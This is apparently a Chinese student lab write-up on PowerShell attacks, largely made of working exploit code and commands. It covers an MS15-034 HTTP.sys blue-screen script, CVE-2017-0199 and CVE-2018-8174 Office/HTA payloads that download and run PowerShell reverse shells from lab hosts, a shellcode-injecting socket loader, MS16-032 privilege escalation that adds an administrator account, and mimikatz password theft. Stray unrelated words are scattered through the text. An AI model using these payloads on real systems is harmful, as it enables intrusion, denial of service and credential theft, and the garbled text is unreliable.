返回目录html
(1)与文件系统交互、运行应用程序python
dir
并回车,会显示当前文件夹下的子文件夹和文件信息.\名称
打开应用程序或文件(2)建立脚本linux
.ps1
。若要运行脚本,在命令提示符下键入该脚本的名称,文件扩展名是可选的。
test:下面是hello.ps1
脚本文件的内容git
$a = "Hello" $a echo $a > a.txt dir a.txt这个脚本:先定义了一个变量,而后输出这个变量的结果,再将这个变量的值写入文件
a.txt
,最后输出这个文件的属性信息运行结果
程序员
(3)powershell 背后依靠的是一套完整的 .NET 编程体系,可以利用.Net类型和COM对象,这让PowerShell可以最大限度的利用现有资源,而且很容易把.Net和COM程序员招徕到本身麾下github
简单类型:shell
[int]$a = 10 [String]$b = 10
.Net类型数据库
$Message = new-object Net.Mail.MailMessage("me@source.com","you@destination.com", "Subject", <br> "Here is some email")
COM对象apache
$myWord = new-object -comobject Word.Application
建立了.Net或者COM的对象之后,就能够利用这些对象的属性和方法,来完成更加复杂的操做。编程
(4)任何函数与对象都可以经过help *命令
来查看其帮助文档(准确来讲应该是Get-Help
函数,这是更加“面向对象”化的命名方式,而help
是它的别名),若是看不明白,加上-examples
参数会有应用实例,若是仍看不明白,加上-online
参数会打开完整的在线帮助文档。
(5)PowerShell中兼容部分的cmd命令和unix/linux shell的命令
cmd.exe
一般会被阻止运行,可是 PowerShell
不会。
- ms15-034漏洞出在http.sys文件中,这个文件是IIS的一个重要组件,功能和特性对windows来讲意义重大。利用HTTP.sys的安全漏洞,攻击者只须要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。
- ms15-034在metasploit有相应的攻击模块,
auxiliary/dos/http/ms15_034_ulonglongadd
模块可直接形成服务器蓝屏,auxiliary/scanner/http/ms15_034_http_sys_memory_dump
检测漏洞,发现仅针对:windoiws 8.1, 2012, or 2012R2有效。
测试装了windows2008的服务器是否有该漏洞
Import-Module .\MS15034.psm1 Test-MS15034 -Computer 192.168.80.132 -Windows2008
Test-MS15034
部分try { $Result = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 0 -UpperRange 18446744073709551615 -UseSSL:$UseSSL } catch { Throw ('An error occured during the connection to http://{0}:{1}{2}' -f $Computer, $Port, $SrvPath) } Write-Verbose -Message $Result if (-not $Result.contains('Server: Microsoft')) { Write-Error -Message 'The server does not appear to be running HTTP.SYS' } elseif ($Result.contains('HTTP/1.1 416 Requested Range Not Satisfiable')) { 'This server is vulnerable to MS 15-034' } elseif ($Result.contains('HTTP Error 400. The request has an invalid header name.')) { 'The server is not vulnerable to MS 15-034' } elseif ($Result.contains('HTTP/1.1 404 Not Found')) { Write-Error -Message 'The provided path has not been found, check you have selected the right operating system, or specified a valid file in -ServerPath' } else { 'Some other error has occured ?!?!?' }
执行拒绝服务攻击
Import-Module .\MS15034.psm1 Invoke-MS15034DOS -Computer 192.168.80.132 -Windows2008
瞬间蓝屏重启!!
该部分的代码在Invoke-MS15034DOS
,执行时先测试被攻击的服务器是不是有漏洞的,有漏洞它才会执行攻击。这里仅执行dos攻击,dos攻击的http header
须要被指定为Range: bytes=0-18446744073709551615
。
$null = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 18 -UpperRange 18446744073709551615 -UseSSL:$UseSSL
Range
域有直接的关系,Range
请求是HTTP协议中HTTP客户端用于只获取服务器上文件的某一部分数据的请求域。
$HTTPRequest = "GET {0} HTTP/1.1
rnHost: stuff
rnRange: bytes={1}-{2}
rn
rn" -f $Path, $LowerRange, $UpperRange
定义HTTP的range请求$TCPStream.Write($EncodedRequest,0,$EncodedRequest.Length)
来发送出通过编码后的恶意HTTP请求# Decode the response and then return it $HTTPResponse = [System.Text.Encoding]::ASCII.GetString($ReceiveBuffer,0,$TCPClientRBSize)
- CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,容许使用者下载并执行恶意的Visual Basic脚本。office使用用户很是多,所以该漏洞可用做许多社工攻击。
- 受影响系统包括:Microsoft office 2016;Microsoft office 2013;Microsoft office 2010;Microsoft office 2007;
echo ''>rtf.rtf
插入
-对象
-由文件建立
,加上http://xxxxxx/rtf.rtf
,并勾选连接到文件
,保存。(这里的地址是一个可访问的服务器的地址关于如何搭建服务器请看这)docx
后缀换为zip
在打开,找到word
-_rels
-document.xml.rels
,用记事本打开
找到下面的代码
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
修改成如下代码后保存
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
如今对一段反弹meterpreter的powershell语句进行base64编码(为了不一些特殊字符带来的错误)
powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.129//rev.ps1'),rev
在服务器中添加一个hta.hta
文件,放到上面连接能访问到的位置,并将上面编码后的代码插入到下面:
<html> <head> <script> var c= 'powershell.exe -ep bypass -enc cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcyBJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjgwLjEyOS8vcmV2LnBzMScpO3Jldg==';new ActiveXObject('WScript.Shell').Run(c,0); </script> </head> <body> <script> self.close(); </script> </body> </html>
在可访问的服务器下,添加一个powershell脚本rev.ps1
function rev { $c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); "@ try{ $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('127.0.0.1', 5330) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400 } catch {} }注意其中的
$s.Connect('x.x.x.x', 2333)
是msf监听的地址和端口!运行docx文件,当跳出弹框选择时已经弹回shell
ppt\slides\_rels\slide1.xml.rels
文件,会发现其中Id为rId3
的是一个OLE对象
,指向一个外部连接靶机运行ppsx,就激活对象,kali方获得下载请求,下载后发送恶意代码
with open(payloadlocation) as fin: data +=fin.read() onn.send(data) conn.close() sys.exit(1)
查看ppt\slides\slide1.xml
文件,其中rId3
被定义为一个link
对象,并设置了verb
行为。verb
的功能是在PowerPoint播放动画时激活这个对象,从而执行远程下载的脚本文件,因此咱们会看到在执行时闪退一个cmd框,其就在运行恶意powershell脚本。
- 该漏洞是Windows特权提高漏洞,若是 Windows 辅助登陆服务未能正确管理内存中的请求句柄,Microsoft Windows 中会存在一个特权提高漏洞。 成功利用此漏洞的攻击者可以以管理员身份运行任意代码。 攻击者可随后安装程序;查看、更改或删除数据;或者建立拥有彻底用户权限的新账户。
./empire
interact tcc
内置模块ms16-032提权
usemodule privesc/ms16-032 set Listener xiaobai execute
. .\Invoke-MS16-032
Invoke-MS16-032
系统须要有2个以上的CPU核心,正在退出!
查阅资料才知道ms16-032漏洞提权须要两个条件
目标系统须要有2个以上的CPU核心 PowerShell v2.0及更高版本必须正在运行
Invoke-MS16-032
,成功!获得一个最高权限!net user 1 1 /add
net localgroup administrators 1 /add
mstsc
- 该漏洞原理:Windows系统经过解析 .LNK 后缀文件时,是使用二进制来解析的,而当恶意的二进制代码被系统识别执行的时候就能够实现远程代码执行,因为是在explorer.exe进程中运行的,因此load进内存的时候与当前用户具备相同的权限。因而攻击者利用这一解析过程的漏洞,将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程当中),受害者使用powershell解析 .LNK 文件后就会被黑客所控制。
- 影响版本:Windows 七、Windows 8.一、Windows RT 8.一、Windows 十、Windows Server 200八、Windows Server 2008 R二、Windows Server 20十二、Windows Server 2012 R二、Windows Server 2016
咱们先生成Windows可以识别的.bat
脚本文件
usestager windows/launcher_bat set Listener tc execute
.bat
文件在Windows中运行,回到监听端口就能够看到目标主机已经上线interact 名称
usemodule code_execution/invoke_shellcode
LPORT
和LHOST
与msf设置的同样。mimikatz
获取用户明文密码usemodule collection/clipboard_monitor
usemodule lateral_movement/invoke_wmi_debugger
LNKOutPath
:本地保存LNK文件的全路径。TargetCPLPath
:本地/远程目标cpl的全路径。Export-LNKPwn -LNKOutPath C:\Users\ASUS\Desktop\aaa\bbb\Path.lnk -TargetCPLPath C:\Users\ASUS\Desktop\Path.cpl -Type SpecialFolderDataBlock
- CVE-2018-8174是Windows VBScriptEngine代码执行漏洞,因为 VBScript 脚本执行引擎(vbscript.dll)存在该漏洞,攻击者能够将恶意的VBScript嵌入到Office文件或者网站中,一旦用户受诱导或不慎点击恶意连接或文档,攻击者即可远程获取当前用户系统权限,进而彻底控制用户电脑。
构造HTA文件,当访问hta文件就会触发powershell下载文件至临时目录执行(利用 mshta 从远程服务器下载文件执行)。
<script> a=new ActiveXObject("WScript.Shell"); a.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://10.0.0.216/test.hta\', \'c:/windows/temp/mshta.exe\'); c:/windows/temp/WINWORD.exe', 0); window.close(); </script>
test.hta
文件放在/var/www/html
目录下js Shellcode
:msfvenom -p windows/exec cmd='mshta http://10.0.0.230/test.hta' -f js_le exitfunc=thread -a x86
git clone https://github.com/0x09AL/CVE-2018-8174-msf.git
CVE-2018-8174.rb
复制到 fileformat
目录:cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
CVE-2018-8174.rtf
复制到 exploits
目录:cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
CVE-2018-8174 python
脚本:git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
CVE-2018-8174.py
该行代码处python CVE-2018-8174.py -u http://10.0.0.230/exploit.html -o exp.rtf
/var/www/html
目录下service apache2 start
http://10.0.0.230/exploit.html
下载执行test.hta
文件,并提早开好开启wireshark抓包。(这是以前用另外一台kali10.0.0.216
时抓的包)test.hta
文件,如今咱们利用以前的实践学习修改test.hta
,获取反弹shell,内容以下:
<body> <title>XXX-exp</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide Hackdo.Run "taskkill /f /im mshta.exe" End If </script> </body> </html>
http://10.0.0.230/exploit.html
kali下监听端口:nc -lvvp 5330
,发现获取shell
使用PowerShell执行本身建立的脚本时,提示没法加载文件,由于在此系统中禁止执行脚本。有关详细信息,请参阅 "get-help about_signing"
解决方法:经过查找资料知道这是为了防止恶意脚本执行,powershell默认安全设置里禁用了执行脚本,要启用这个功能须要拥有管理员的权限。因此咱们须要在管理员身份运行的PowerShell下输入
set-ExecutionPolicy RemoteSigned
改变执行策略,修改为功后就能够在普通用户下运行脚本啦!
在使用Empire运行./empire
时报错ImportError: No module named iptools
解决方法:python库中缺乏该模块,使用
pip install 模块名称
来下载便可,继续运行./empire
,直至再也不报错。
导入Nishang框架时报错由于缺乏脚本的“#requires”语句指定的如下模块: ActiveDirectory
解决办法:在电脑中找到
控制面板
-程序
-启用或关闭windows功能
,在功能列表中找到Active Directory轻型目录服务
,选中后点击肯定按钮便可。
用PowerShell远程下载服务器中的脚本文件时,出现错误提示远程服务器返回错误: (404) 未找到
解决方法:参考“远程服务器返回错误: (404) 未找到”的正确解决方法,打开IIS管理器,找到
MIME
类型,添加一个MIME的类型:扩展名:.* 类型:application/octet-stream
参考资料